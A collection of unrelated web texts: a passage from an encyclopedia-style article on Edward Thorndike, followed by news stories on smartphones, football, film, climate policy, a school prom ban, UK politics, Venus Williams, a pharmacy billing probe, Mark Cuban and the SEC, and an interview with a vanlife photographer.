"nursing instinct" stemming from "unreasoning tendencies to pet, coddle, and 'do for' others,"[30] were performed with difficulty by new mothers and thus must have been learned, while "instinctive factors are practically nil".[31]  Thorndike's beliefs about inborn differences between the thoughts and behavior of men and women included misogynist, pseudo-scientific arguments about the role of women in society. For example, along with the "nursing instinct," Thorndike talked about the instinct of "submission to mastery," writing: "Women in general are thus by original nature submissive to men in general.".[32] That this statement was little more than his opinion, and lacked any substantiating scientific evidence, appeared to be overlooked as it validated prevailing cultural values concerning gender and neatly justified prejudice against women in academia (including entrance into doctoral programs, psychological laboratories, and scientific societies).[33]  Thorndike's word books [ edit ]  Thorndike composed three different word books to assist teachers with word and reading instruction. After publication of the first book in the series, The Teacher's Word Book (1921), two other books were written and published, each approximately a decade apart from its predecessor. The second book in the series, its full title being A Teacher's Word Book of the Twenty Thousand Words Found Most Frequently and Widely in General Reading for Children and Young People, was published in 1932, and the third and final book, The Teacher's Word Book of 30,000 Words, was published in 1944.  In the preface to the third book, Thorndike writes that the list contained therein "tells anyone who wishes to know whether to use a word in writing, speaking, or teaching how common the word is in standard English reading matter" (p. x), and he further advises that the list can best be employed by teachers if they allow it to guide the decisions they make choosing which words to emphasize during reading instruction. Some words require more emphasis than others, and, according to Thorndike, his list informs teachers of the most frequently occurring words that should be reinforced by instruction and thus become "a permanent part of [students’] stock of word knowledge" (p. xi). If a word is not on the list but appears in an educational text, its meaning only needs to be understood temporarily in the context in which it was found, and then summarily discarded from memory.  In Appendix A to the second book, Thorndike gives credit to his word counts and how frequencies were assigned to particular words. Selected sources extrapolated from Appendix A include:  Children’s Reading: Black Beauty, Little Women, Treasure Island, A Christmas Carol, The Legend of Sleepy Hollow, Youth’s Companion, school primers, first readers, second readers, and third readers  Standard Literature: The Bible, Shakespeare, Tennyson, Wordsworth, Cowper, Pope, and Milton  Common Facts and Trades: The United States Constitution and the Declaration of Independence, A New Book of Cookery, Practical Sewing and Dress Making, Garden and Farm Almanac, and mail-order catalogues  Thorndike also examined local newspapers and correspondence for common words to be included in the book.[citation needed]  Thorndike's influence [ edit ]  Thorndike contributed a great deal to psychology. His influence on animal psychologists, especially those who focused on behavior plasticity, greatly contributed to the future of that field.[34] In addition to helping pave the way towards behaviorism, his contribution to measurement influenced philosophy, the administration and practice of education, military administration, industrial personnel administration, civil service and many public and private social services.[11] Thorndike influenced many schools of psychology as Gestalt psychologists, psychologists studying the conditioned reflex, and behavioral psychologists all studied Thorndike’s research as a starting point.[11] Thorndike was a contemporary of John B. Watson and Ivan Pavlov. However, unlike Watson, Thorndike introduced the concept of reinforcement.[15] Thorndike was the first to apply psychological principles to the area of learning. His research led to many theories and laws of learning. His theory of learning, especially the law of effect, is most often considered to be his greatest achievement.[11] In 1929, Thorndike addressed his early theory of learning, and claimed that he had been wrong.[9] After further research, he was forced to denounce his law of exercise completely, because he found that practice alone did not strengthen an association, and that time alone did not weaken an association.[9] He also got rid of half of the law of effect, after finding that a satisfying state of affairs strengthens an association, but punishment is not effective in modifying behavior.[9] He placed a great emphasis on consequences of behavior as setting the foundation for what is and is not learned. His work represents the transition from the school of functionalism to behaviorism, and enabled psychology to focus on learning theory.[9] Thorndike’s work would eventually be a major influence to B.F. Skinner and Clark Hull. Skinner, like Thorndike, put animals in boxes and observed them to see what they were able to learn. The learning theories of Thorndike and Pavlov were later synthesized by Clark Hull.[11] His work on motivation and attitude formation directly affected studies on human nature as well as social order.[11] Thorndike’s research drove comparative psychology for fifty years, and influenced countless psychologists over that period of time, and even still today.  Accomplishments [ edit ]  In 1912, Thorndike was elected president for the American Psychological Association. In 1917 he was elected as a Fellow of the American Statistical Association.[35] He was admitted to the National Academy of Sciences in 1917. He was one of the very first psychologists to be admitted to the association. Thorndike is well known for his experiments on animals supporting the law of effect.[36] In 1934, Thorndike was elected president of the American Association for the Advancement of Science.[37]  Selected works [ edit ]  See also [ edit ]  Notes [ edit ]
-Now that we have passed the Galaxy S6 unveiling from Samsung, it is official that the Korea-based company opted to use in-house Exynos silicon to power its two newest flagship devices, instead of contracting out the job to San Diego-based Qualcomm for its Snapdragon 810 chipset.  What makes the situation important were the early reports that devices running the Snapdragon 810 were seeing overheating issues, with LG coming right out and denying the reports completely. However, whatever the case may be, Qualcomm lost its chance to power the newest Samsung devices, and now we are left with a new 64-bit octa-core Exynos processor inside both the Galaxy S6 and Galaxy S6 Edge.  From early benchmarks we are seeing, the Exynos-powered GS6 and GS6 Edge are dominating, easily beating out the One M9 and its Snapdragon. Although, HTC would likely chalk up any losses to those benchmarks being ran on “unfinished software.”  Samsung’s own JK Shin weighed in on the decision, reassuring the press that relations between Samsung and Qualcomm are still good. In fact, Shin claims the move was made to decrease Samsung’s dependency on other companies, and that if Qualcomm’s chips are good enough, Samsung would use them.  Speaking to the press, Shin stated, “Samsung previously used more Qualcomm mobile processors. But we are flexible. If Qualcomm chips are good enough, then we will use them. Samsung always uses the best-quality components and materials to differentiate our products from those by rivals.  From what we can tell so far, Samsung made the right call by using its own Exynos processor, especially when seeing countless videos of TouchWiz flying when compared to previous iterations. As far as average end users are concerned, the difference between Snapdragon 810 and Exynos chips will go unnoticed, so for now, we can assume Samsung only had consumers in mind when making this decision.
-The video will start in 8 Cancel  Get the biggest Chelsea FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email  Chelsea's title-winning stars have been handed limited edition watches as a thank-you from owner Roman Abramovich.  Each player received their Hublot watch this week with a note from Blues chairman Bruce Buck, who congratulated the squad on 'creating history' last season.  Willian and Nathaniel Chalobah took to Instagram to reveal their new timepieces which came courtesy of the club's official timekeeper.  A note from Buck accompanying the gifts for both players read:  "On behalf of Mr Abramovich and also on behalf of the board of directors of the club, congratulations on creating history during the 2016/17 season.  (Image: willianborges88/Instagram)  (Image: willianborges88/Instagram)  (Image: willianborges88/Instagram)  "It's been a campaign to remember. Keep the blue flag flying high."  While neither player showed off the actual watch on social media, they are likely to be similar to a £9,000 timepiece from Hublot that is limited to only 200 units.  Last summer Leicester gave their title-winning players £100,000 BMW cars as a special bonus.  Antonio Conte's men kick off their title defence when they host Burnley on the opening week of the season. Before that they face Arsenal in Beijing on July 22, with pre-season friendlies against Bayern Munich and Inter Milan following, before they again meet the Gunners in the Community Shield.  (Image: hublot)  (Image: hublot)  The Blues kicked off their summer transfer activity last week when they landed defender Antonio Rudiger from Roma.  (Image: hublot)  A striker is expected to follow after the club missed out on Romelu Lukaku, who joined Manchester United in a £75million move.
-Written By: Mathew ‘JJ’ Simoes  Get ready Wes Anderson fans. Today, we can confirm that (thanks to Trailer Track) the first trailer for Anderson’s Isle of Dogs will debut this week with The Lego Ninjago Movie and will also appear online not long after.  The film comes four years after Anderson’s critically acclaimed The Grand Budapest Hotel and will be set in Japan and follow the journey of a young boy in search of his dog.  The stop motion film will star Bill Murray, Frances McDormand, Jeff Goldblum, F. Murray Abraham, Tilda Swinton, Kunichi Nomura, Bob Balaban, Harvey Keitel, Yoko Ono, Greta Gerwig, Courtney B. Vance, Edward Norton, Bryan Cranston, Liev Schreiber, and Scarlett Johansson.  Isle of Dogs premieres in theatres on March 23, 2018.  Advertisements  Like this: Like Loading...
-In Paris, France, last year, governments agreed to confine global warming to well below 2 degree Celsius. What’s the driving force behind this?  ‘As Martin Luther King put it, “the fierce urgency of now”. We probably have underestimated this urgency to some extent, even in the scientific community. Years ago, I introduced the concept of so-called tipping elements. This refers to critical components of the earth system like the Greenland ice sheet, the Amazon rainforest or the Indian summer monsoon that could at some point of continued perturbation be tipped from one state to another – we call this highly non-linear behaviour. Crossing critical thresholds would cause comparatively abrupt and perhaps irreversible environmental changes. And we know that beyond 2 degrees global warming the risk of tipping increases. Now there is new evidence based on historic reconstructions that shows climate sensitivity is probably higher than estimated in the latest report of the Intergovernmental Panel on Climate Change. This could mean we can emit even less CO2 if we want to stay within the temperature range agreed to in the Paris Agreement.  ‘If we keep doing what we’re doing so far, in a business-as-usual scenario, this could mean about 5 degrees warming by the end of the century. It’s not hard to imagine that this could mean the end of the world as we know it. The changes we’d face would be profound. So we seem to be at a highly critical moment in our time where we have to get almost everything right in order to avoid most severe consequences. This worries me, especially when I look at recent developments like in the United States with a President-elect Donald Trump, possibly planning to leave the Paris Agreement behind. He will probably also invest trillions in building roads and other infrastructure with concrete and steel, which will churn out billions and billions of tonnes of additional CO2. This is the tragedy of many civilisations, as can be seen in history. When societies got into trouble, far too often the response was not to change the system, change the paradigm, but more of the same.’  How do we go about changing the paradigm?  ‘What we need is a roadmap towards decarbonisation, with decadal steps bringing down emissions to almost zero by 2050. Because that is the only chance we have to stay within the 2 degrees limit, even though it would probably not be enough to keep warming below 1.5 degrees. But if you want to go down that road by mid-century, that means that by 2020 emissions globally have to peak. That may sound like a tremendous effort, but it also means turning back to many solutions we already have. It means repairing the European Emission Trading System and boosting efficiency measures everywhere. People have kept on talking about the low-hanging fruits, but they never pluck them. Now is the time.  ‘In the next decade, until 2030, there are two essential shifts that should happen from my point of view. A phase out of coal-fired power stations, completely and worldwide. That means stopping building new ones, but also shutting down some of the existing ones. And we should get over the combustion engine in automobiles, because it is about time to completely replace it with much smarter alternatives.  ‘Then, in the decade after that, we also need to have a number of major breakthroughs, technology breakthroughs. Think of super-smart grids connected by super-conductivity cables. People are working on this already, as this could transport electricity over long distances without any losses. Think of cities not being built anymore with concrete or cement, which is highly climate-damaging. These might be cities built from wood again, which was dominant over thousands of years, next to stone and clay of course. Already, in a city like Berlin (Germany), there are five-storey apartment buildings mainly constructed from wood. Young entrepreneurs are working on very innovative ways to treat wood to make it more flexible and fireproof. Building in wood would help us… even (reduce) carbon (usage). While cement production is a huge source for CO2, wood can be used as a carbon sink, absorbing and storing CO2.  ‘And that is the other, much brighter side of the coin. If we embrace this challenge and turn climate stabilisation and a sustainable future into the new narrative of modernity, not only would this be a fantastic project for humankind, creating new jobs, it would also shape a world of new life opportunities, new cultural development, and so on. We still have the choice, as we are standing at the crossroads. This could give our modern times a new meaning, enabling us to use all the available potential, whether it is intellectual, whether it is physical, whether it is resources. So it is a very interesting point in time, we either go for the bright side of a sustainable future, or we might go for the dark ages again.’  For climate research, where should the focus be as the EU prepares its next funding programme to follow on from Horizon 2020?  ‘In order to get a real grip on the climate problem we need a strategic approach, something like an Apollo project, that focuses all available resources and potentials on a common goal. You would need some kind of a roadmap, mapping out… the low-hanging fruits, like energy efficiency, as well as technological innovations in strategic areas like new material for construction, also carbon-negative technologies. But there are many other areas as well with great potential, like agriculture. You could very simply avoid a lot of emissions from agriculture by no-tillage approaches where you do not plough the soil.  ‘Commissioner Moedas (the EU Commissioner for Research, Science and Innovation) has set up this new high-level panel for European decarbonisation pathways… and I am chairing it. And there, my intention is to work out precisely such a roadmap. Not a narrow-minded, technocratic document, but an open plan with a number of important milestones. And here is the important thing. Innovations don’t need to be only physical, chemical or whatever. There are many social innovations that also help us to go for a more sustainable world.’  What kinds of social innovations do you mean?  ‘Let me give you an example: the carmaker BMW told me once about their electric car, the i3. I drive an i3 today as my private car, but I’m one of very few people who own one. What did the company do? They set up a collaboration with partners including the City of Berlin for a very popular Berlin vehicle-sharing scheme. You can find available cars on your smartphone, and they have created a fleet of these i3 cars which you now find everywhere on the streets of Berlin. The city will support this by reviewing their public parking-space policies.  'People have kept on talking about the low-hanging fruits, but they never pluck them. Now is the time.' Prof. Hans Joachim Schellnhuber, Potsdam Institute for Climate Impact Research, Germany  ‘The biggest social innovation might be to set up some kind of transformation fund - like the sovereign wealth fund in Norway - where you strategically invest in new infrastructure, and where the funding could come, for example, from a carbon tax or trading scheme. Some countries already have carbon taxes, and if the revenues would go directly into a transformation fund earmarked for climate innovations, this would be a completely new way of dealing with the climate challenge. So from simple individual behaviour up to fiscal institutions, you can go through a whole series of possible innovations.’  You have been credited for coming up with the 2 degrees threshold that the world is working towards. Yet it is becoming clear that the climate could be more responsive than we thought, is this level low enough?  ‘We have not completely understood the climate system yet, and particularly the non-linear behaviour associated with tipping points should be researched further. Many scientists tend to be a bit conservative, staying on the safe side, avoiding what could be misunderstood as alarmism, thereby sometimes underestimating the dynamics. Only recently, I published a paper together with colleagues in Nature Climate Change about critical thresholds when you turn up the heat globally. The question is, when do we reach these critical thresholds? There are still some uncertainties but, as it turns out, limiting warming to 2 degrees will not be enough to avoid all tipping points. The tropical coral reefs will probably completely die back, even if we limit global warming to 2 degrees Celsius. The Greenland ice sheet might also be at risk.  ‘So 1.5 degrees clearly is the better target, but I think it could only be achieved by overshooting the available emissions budget temporarily and then later coming back to within the budget range - which means you have to work with substantial negative emissions, a very difficult concept. I think it could only be done if we turn global agriculture into a carbon sink and actually build all our future cities from carbon-negative materials. That is the only scale where we could achieve it, so the answer is, 1.5 would be much better in terms of climate impacts than 2 degrees. But 2 degrees already requires an industrial revolution at the planetary scale. In contrast, I think 1.5 degrees requires almost a miracle. But of course sometimes miracles do happen.’  You say miracles do happen, but you’ve also mentioned the drastic changes that need to take place such as getting rid of the internal combustion engine and revolutionising agriculture and the way we build cities. It seems like an enormous challenge.  ‘Mind-boggling, yes. But the crazy thing about it is, these things can be done. People pursue nuclear fusion, which might be a benefit in the end, but it is a tremendous challenge with no end in sight so far. Yet it seems to be ok for the EU to pour money into that endeavour, and I accept that because it is an exciting intellectual enterprise, even though it will probably not save the world. However, we already have a perfectly working powerful fusion reactor – the sun. Solar energy comes without any cost, it is absolutely safe. We just have to harvest it. We do not have to bend the laws of physics to make use of the sun and to use wood as a carbon sink and so on. So, in a way, our society is in a strange state of schizophrenia. On the one hand we go for highly, highly utopian technologies and are willing to fund them. At the same time, we say that things that are already proven in principle are impossible to achieve, and this has to do with vested interests of course, and also with human inertia. People would rather go for the fairy tale that we will drive the whole economy by fusion energy by 2050, which is of course impossible, but at the same time they tell us that it is absolutely impossible to run a country like Morocco from solar energy.  ‘I am from Germany, a country with lots of renewable energy production. But if you conduct an analysis of the sunshine potential of Germany, it is comparable to Alaska (US). So how much easier would it be for Italy and Greece and the United States of America, let alone Africa, to run their countries on sunshine? I think we need to get rid of all the myths that are, in a way, congesting our brain, and once we have done that, yes then the answer is I think it is achievable still.’  If you liked this article, please consider sharing it on social media.
-Shelton High senior has a date, but can't go to the prom  Shelton seniors Sonali Rodrigues and James Tate stand outside Shelton High School Tuesday, May 10, 2011. Tate asked Rodrigues to the prom by posting a message on the wall behind them. She said yes but he is now prohibited from attending the school's prom as punishment for trespassing to post the sign. less Shelton seniors Sonali Rodrigues and James Tate stand outside Shelton High School Tuesday, May 10, 2011. Tate asked Rodrigues to the prom by posting a message on the wall behind them. She said yes but he is ... more Photo: Autumn Driscoll Buy photo Photo: Autumn Driscoll Image 1 of / 8 Caption Close Shelton High senior has a date, but can't go to the prom 1 / 8 Back to Gallery  SHELTON -- It began as a simple gesture. Shelton High School senior James Tate just wanted to make his good friend, Sonali Rodrigues, feel special.  So instead of the usual way of asking her to the senior prom, Tate and two friends went to the high school campus in the middle of the night and posted 12-inch tall, cardboard letters on the outside of the building -- at the main entrance.  The message that many saw when they arrived to school Friday, read: "Sonali Rodrigues, Will you go to prom with me? HMU Tate."  She said yes.  "It took a lot of effort," said Tate.  He posted the letters, one at a time, in a "safe and thoughtful way" to avoid trouble.  But, it appears, that didn't work out.  Because of what he did, Tate can't go to the prom.  Tuesday, after meeting with his headmaster, Tate and his two friends were each given one-day, in-house suspensions and banned from the prom. Tate was told the administration felt what they did was a safety risk.  But the teen said he took every precaution when he posted the message early Friday, sometime between 1 and 3 a.m.  "I had one friend hold the ladder while the other put double-sided tape on the letters," he said. Tate said he also wore a helmet.  He was told another reason for the suspensions was that they trespassed on school grounds.  "I didn't enter the school at all," he said. And while the front gates to the school were locked, Tate said he and his friends were able to get onto the grounds on a footpath.  Tate said that, according to school regulations, if you get suspended after April 1, you can't go to the prom.  "I tried to appeal -- tried to just get a detention instead," he said. "I even offered to do community service -- like cleaning up the litter outside the school."  But he said nothing worked.  "Now I have a date for the prom, but can't go," he said.  "This is ridiculous," said Rodrigues. "James is one of my best friends and we are both good kids who never got in trouble. I've never been to the principal's office except to get an award."  Rodrigues was also called to the headmaster's office Tuesday morning. "They just asked me some questions, like would I still go to the prom if James couldn't," she said.  She will go, with a girlfriend, whose boyfriend has also been suspended for an unrelated incident.  "This is really upsetting," she said. "It's our senior year and we are supposed to have happy memories, not something like this."  Shelton High School Headmaster Beth Smith did not return calls for comment Tuesday. Superintendent Freeman Burr declined comment, referring all questions to Smith.  Anne M. Amato can be reached at 203-330-6496 or at aamato@ctpost.com.
-Image caption Nick Clegg acknowledges the applause at the Lib Dem spring conference  Nick Clegg is preparing to fight his final general election, many of his senior colleagues believe.  Several MPs have told me there is an unspoken assumption that he will stand down as Liberal Democrat leader in the next Parliament - whatever the result in May.  While Lib Dems are fighting for their political lives in constituencies, they are thinking hard about life after Clegg.  Their leader's career could end with defeat in his Sheffield Hallam seat, of course, or in resignation after a terrible election performance.  But even if he manages to prove the polls wrong - as he insists is possible - it would be very natural for him to stand down in 2017, one senior MP says.  It is widely thought he has not asked his wife Miriam to endure more than two general elections, another insists.  Explicit ambitions  Clegg's aides dismiss such talk - he intends to be the leader through the whole of the next Parliament they say.  That is not what plenty of his colleagues expect though, and several are positioning themselves to fight to replace him.  They eye left-leaning Tim Farron with suspicion.  Two campaigns to be the party's president, one successful, have given him much more contact with members - who will elect the new leader - than any of his rivals.  He gets a lot of press.  Image copyright PA Image caption Tim Farron has been putting in the leadership groundwork, colleagues say  MPs use almost identical terms to describe him criss-crossing the country eating rubbery chicken at meals with activists, who he showers with praise.  Some are dismissive - Farron is a good campaigner they say, but "not cerebral". Others use more forthright terms to dismiss his abilities.  The party's former leader Lord Ashdown told 5 Live: "Tim's a very able guy but at the moment judgement is not his strong suit."  His rivals, like the health minister Norman Lamb, are growing increasingly explicit about their ambitions.  If there is a contest, the energy secretary Ed Davey will want to stand, and he too has backers.  Those who are not talking about life after Clegg in public worry they too should give interviews for fear of not being regarded as a contender.  Who else? Jo Swinson, equalities minister, should also be a candidate one well-respected figure tells me, provided she is still an MP after the election.  Lib Dems suspect Treasury minister Danny Alexander of harbouring leadership ambitions, but he too faces a tough fight to hold his seat and many in the party regard him as having grown far too close to the Chancellor George Osborne.  A definitive list is hard to complete though because Lib Dems only need the support of 10% of the party's MPs to stand.  If the general election goes as badly as the polls suggest a would-be leader could comfortably fit the necessary supporters in a cosy phone box.  It could be a crowded contest.
-OXFORD, Miss. - Ole Miss junior defensive lineman Breeland Speaks is electing to forgo his senior year of college and enter his name for the upcoming 2018 National Football League Draft, he announced Tuesday.  Statement from Breeland Speaks:  "After discussing it with my family, I have decided to forgo my senior season and enter the 2018 NFL Draft. There are so many people I want to thank including Chancellor Vitter, Mr. Bjork, Coach Luke, the coaching staff, my teammates and everyone at the university for an awesome four years. Most of all, I thank Rebel Nation for the incredible support they gave me from day one. I was proud to Lock The Vaught every Saturday in my home state, and now I look forward to representing Ole Miss at the next level."  Statement from Ole Miss head coach Matt Luke :  "I have seen Breeland grow as a person and a player over the last four years, and we're excited to see him take this next step in his career. I am particularly proud of the leadership he brought to our team amidst the challenges we faced. He is a true Rebel, and we look forward to watching him continue our program's rich NFL tradition."  After redshirting in 2014, Speaks played in every game the last three years with 19 starts, including the last seven at defensive end after moving from tackle. The Jackson native earned All-SEC second team honors from the Associated Press and Phil Steele this season.  Speaks' senior campaign saw him rank sixth in the SEC with 7.0 sacks. He led the team with eight QB hurries and finished second in tackles (67) and third in TFLs (8.0). Speaks totaled a career-high 13 stops against LSU, including seven solos.  Follow Ole Miss Football on Twitter (@OleMissFB), Facebook and Instagram in addition to www.OleMissSports.com.
-Venus Williams got the benefit of the doubt today, thanks to some new video.  No, this had nothing to do with a tennis match, but a deadly car crash last month.  In the video, you can see Williams' 2010 Toyota Sequoia entering the intersection, under a green light. In the upper part of the video, she pauses briefly in the middle of the intersection, before continuing.  That's when her car was struck by Hyundai driven by Linda Barson, whose 78-year-old husband, Jerome, later died of his injuries. Before they saw the new evidence, police said Williams was "at fault for violating the right of way."  Venus Williams breaks down at Wimbledon over deadly crash  But in light of the footage, the police department released a statement exonerating Williams, saying, "the vehicle driven by Venus Williams lawfully entered the intersection on a circular green traffic signal, and attempted to travel north through the intersection to Ballenisles Drive."  The police said a car entered the intersection in front of Williams and made a left turn, causing her to stop advancing through the intersection to avoid a collision. The crash occurred when Williams started to legally proceed.  Earlier this week, a visibly distraught Williams broke down when asked about it during a Wimbledon press conference.  "There are really no words to describe how devastating and -- I'm completely speechless," she said before bursting into tears.  The Barson family filed a wrongful death suit against the seven-time Grand Slam winner. It's unclear if this new evidence will change their minds.
-Ireland's largest pharmacy group, LloydsPharmacy has repaid the Health Service Executive €12m for dispensing fess that the company incorrectly charged, RTÉ News has learned.  The irregularities were revealed by RTÉ Investigates last year.  In a further development similar HSE investigations are also ongoing into five other pharmacy chains or branches.  With 94 branches nationwide, LloydsPharmacy is Ireland's leading pharmacy chain.  Last year the RTÉ Investigations Unit revealed irregularities in the level of dispensing fees being claimed by the pharmacy chain from the HSE.  The irregularities centred on phased dispensing fees charged by LloydsPharmacy on its weekly medication management system, MyMed, a modern equivalent of a pill box that segregates drugs into weekly packs for those on large amounts of medication.  There are very limited circumstances under which a pharmacy can claim additional charges for the phased dispensing of drugs but documentation provided to the RTÉ Investigations Unit by a whistleblower last year showed that LloydsPharmacy staff were actively encouraged to widely promote the MyMed system to its customers which generated substantial additional profits for the company.  Each store was provided with monthly targets for the number of customers who had to be converted to the MyMed system and further documentation showed that on repeated occasions LloydsPharmacy customers were provided with a month's supply of their medication in one go despite payment statements from the HSE showing that phased fees were submitted as if the drugs had been dispensed each week.  RTÉ learned that following a HSE investigation LloydsPharmacy has been found to have over-claimed in the region of €12m in dispensing fees.  The sum is believed to have been repaid in full.  While not naming the company, in a statement the HSE said a "satisfactory resolution" had been reached.  A spokesperson for LloydsPharmacy told RTÉ the matter had been "resolved" between the parties.  In a further development, RTÉ has discovered that similar HSE investigations are also ongoing into five other pharmacy chains or branches.  It is understood those investigations are at an advanced stage and could result in further money being paid back to the HSE.
-Outspoken billionaire Mark Cuban has a bone to pick with the US Securities and Exchange Commission. Less than a year after scoring a huge victory against the regulator, he took to Twitter and YouTube this week to deride the agency, which he locked horns with in a testy, years-long legal battle in which he fought off insider trading charges.  What has Cuban so worked up this time? Apparently, the process for getting SEC guidance on what constitutes insider trading.  Cuban tweeted a clip from a YouTube video in which he follows telephone instructions for filing a ”no-action letter,” a formal request that the agency weigh in on whether a specific trade could be deemed a violation of securities law.  The full video, which includes more explanation from Cuban as to what he’s researching and why he’s researching it, is here:  Here are some highlights from Cuban’s rant against the process, which is based on procedures the SEC outlined 34 years ago, and apparently hasn’t updated much since:  This is not going to accomplish anything and this is certainly not going to help any normal individual who’s thinking about buying stocks in the market. It’s not going to help them understand insider trading and it’s not give them comfort that were doing all they can to not break the law. Which based off of my experience is not shocking … and if it seems like I’m going on and going off about the SEC, well, this was an easy change for them to step up and answer a question. Instead me and everybody else going through this gets a memo from 1980. Way to go, [SEC chief] Mary Jo White. Good Job!  Here’s the memo(pdf) that Cuban references.  Cuban makes a valid point: insider trading laws can be hard to parse. That’s why the SEC itself urges people to consult with a legal expert. Cuban, with a reported net worth of $2.5 billion, certainly can afford an army of lawyers. But what about everyone else?
-Mackenzie Duncan is a talented photographer who pretty much always has had a nomadic lifestyle! Currently living on the West Coast, he works with great brands that fit his day to day life. See how he’s able to make a living and enjoy life to the fullest!  What freedom vessel are you driving and does it have a name?  The story of my freedom vessel comes first with the story of another freedom vessel, one which I came to love and live in as if she were my own this past year. At the beginning of 2015 I reached out to my friend Drew in Toronto to see if he wanted to head to the East Coast on a cold water surf trip. He got back to me and invited me on a trip he already had planned down to Baja in his ’86 Westy, Delilah. Three weeks later I packed up my stuff, flew out west and met Drew just South of LA. I had no idea I was getting so much more than just a surf trip. We ended up spending three weeks in the Baja. Surfing, exploring, driving down roads we probably shouldn’t have, snapping photos, writing journals and generally having a grand time. Naturally I fell in love with Vanlife, and couldn’t believe Drew’s generosity and kindess when he offered to lend me Delilah while he went off tree planting in British Columbia. A month later and Drew dropped her at my parents house on Vancouver Island. I picked her up, and road tripped her down South in May. All the way down highway one- stopping in Washington and Oregon along the way. It was just over a week of surfing, hiking, soaking in natural hot springs, and sharing tea and oatmeal with strangers who were to become friends.  I eventually ended up in LA where I spent 4 months living both part-time and full-time in the van. Basically splitting my time between a friends spot in Venice, and vanlifing up in Malibu surfing or hiking and cooking up in the local mountain ranges for days on end.  Eventually I returned Delilah to Drew in September of this past year and spent the Fall without a van. I was on the mend from a fractured vertebrae (a whole ‘nother story Delilah was there for, involving the ocean and a pretty gnarly wave). I spent a lot of days sitting searching for my freedom vessel, and am please to announce I just bought my yet to be named-’82 Diesel Vanagon! I’m so excited, and will be busy the next few months building it out to a bio-diesel camper which I can take on adventures with Drew and Delilah and all our other van friends!  You left your hometown many years ago to pursue your dreams, how did that happen?  Well, I went to high school away from home and met a lot of people from all over who had a very different mentality than a lot of the folks I grew up with. They came from all sorts of backgrounds and places and it started to open up my eyes a bit to travel. Near the end of my Grade 12 year (I was a bit of an art nerd) my art teacher took us on a tour of a few schools in Vancouver to sort of see what the next steps could be. I knew I didn’t want to do another four years of school as I’d had a hard enough time getting through high school so I opted for a 12 month diploma studying design and film at Vancouver Film School. From there I moved to Montreal and did a bunch of graphic design work. During this time I got the travel bug, saved up a small sum of money and flew down to Central America to live on the beach for six months and learn to surf. This gave me a ton of time to think and figure out what I wanted to do next, which led me into photography.  When I returned I started assisting a handful of photographers between Montreal and Toronto before opening my first studio in Toronto. I then spent the next 8 years between Toronto, Montreal and NYC pursuing fashion photography, while also opening a furniture business with a childhood best friend- JM & Sons, before moving out to LA a year ago. It’s been quite a journey and it’s really taught me a lot. I wouldn’t change a thing. I am so happy to be back near the ocean and spending more time in nature, and have been focusing my photography towards more lifestyle than fashion so I can keep getting more opportunities to get even more of that moving forward!  Is it hard to find clients while on the road? How do you connect with new brands and new clients ?  Over the last 8-10 years of assisting, shooting, traveling and living between a handful of different cities I’ve met a whole bunch of amazing people that I’ve kept in touch with. We’ve all grown as creatives in our own ways and some have become successful Art Directors who I have ended up working with, or designers, or marketers. I’ve found that to be the most important thing- just keeping in touch with the people you respect and people who’s work you respect. The opportunity may seem to take a long time but eventually your creative paths will cross and you’ll get to the opportunity work together. Another way I connect with new brands and clients is sort of a mix of social media, word of mouth, self promotion etc. I’ve started to reach out to a bunch of brands that I respect and I’m always amazed at how open they are to work with new people if your work and their brand fit together.  How do you manage to protect your equipment and your datas?  Equipment is tricky to protect. I do my best to under dress my bags and often cover my cameras in black grip tape so they don’t look fancy and expensive. I also make sure everything is insured properly, just in case.  As for data, I carry multiple backups and spread them around to different places as well as storing all of my final images (RAW, TIFF and JPG) on Google Drive so they are accessible from anywhere and relatively safe.  Can you show us 3 of your favorite pictures you shot recently?  I was lucky enough to shoot this image out on the west coast of Vancouver Island at a place called Sombrio. I spend a few days out there with a good friend of mine, Phillipe. Phillipe lives in an E-350 in California these days but happened to be up in Vancouver for a job so I had the opportunity to show him around where I grew up, in the same truck I grew up driving, an ’82 Land Cruiser. I got to shoot him with a board I made at Shaper Studios Vancouver, so the images are a great collaboration between hard work, good friends, and a great brand. We had one of those classic down pour days that happen out here on the west coast of Canada. Early in the morning we went down to the beach and for an hour or so the rain stopped and the mist was lifting off the beach just long enough to capture some beautiful images. It really was a bit of a magical day really.  I snapped this shot on the second night of that trip down to Baja I referenced earlier in Drew’s van Delilah. We had kind of followed our intuition along these dirt roads and ended up next to this empty beach with no one around. We surfed for hours and eventually came back to the van exhausted and made some dinner. Drew was just sitting on the stoop of the van as we relaxed before bed. There are some great memories attached to that image.  This was the last shot of a campaign I shot for a denim brand in LA called Crawford Denim. We’d been shooting on the beach up in Malibu for most of the day and decided to do a few shots on the vintage bikes we had. It was great because we were able to catch the sun at that perfect spot because I was shooting from the Jeep with no top. We only had a short section of highway where the sun spilled over and to me it captures all of what California can be.  Can you share with us a great parking spot you often go to?  There is this one spot sort of near the North end of Malibu up Decker Canyon Road. I wish I could remember all the other little roads you turn off onto. I found it one night with my girlfriend and we’ve been back a handful of times in her van, or in Delilah when I still had her. Sometimes bringing friends but more often heading up there, just the two of us. It’s just sort of hidden behind this hill and you get this view of all the Santa Monica Mountain ranges and the sun sets right there above all the long grasses. It’s so peaceful and quiet and it’s only 40 minutes away from LA, without traffic of course. Conveniently enough at the bottom of the hill is a break called Zeros, which is one of my favourite breaks in Malibu.  What is the project you’re working on now?  I’ve got a few things but the next major thing is a Van Life Cookbook. I’ve teamed up with a great crew of people and we’re putting together a cookbook based around healthy, simple cooking with locally sourced produce, sort of based around the west coast for now. We plan to do some roadtrips, cooking on a two burner stove or over the camp fire and I think putting all that together with some really talented people which should be a lot of fun!  It’ll be coming out later this spring, hopefully in time for summer van lifers- so if you have any wonderful suggestions on farmers markets to check out or great camp spots that should be included please reach out as I’d love to hear from you. It’s meant to be a bit of a community effort celebrating this lifestyle we all choose to live.  Follow Mackenzie’s work and adventures here:  The Mackenzie Life  Mackenzie Duncan’s portfolio  Instagram account : @themackenzielife  Facebook page
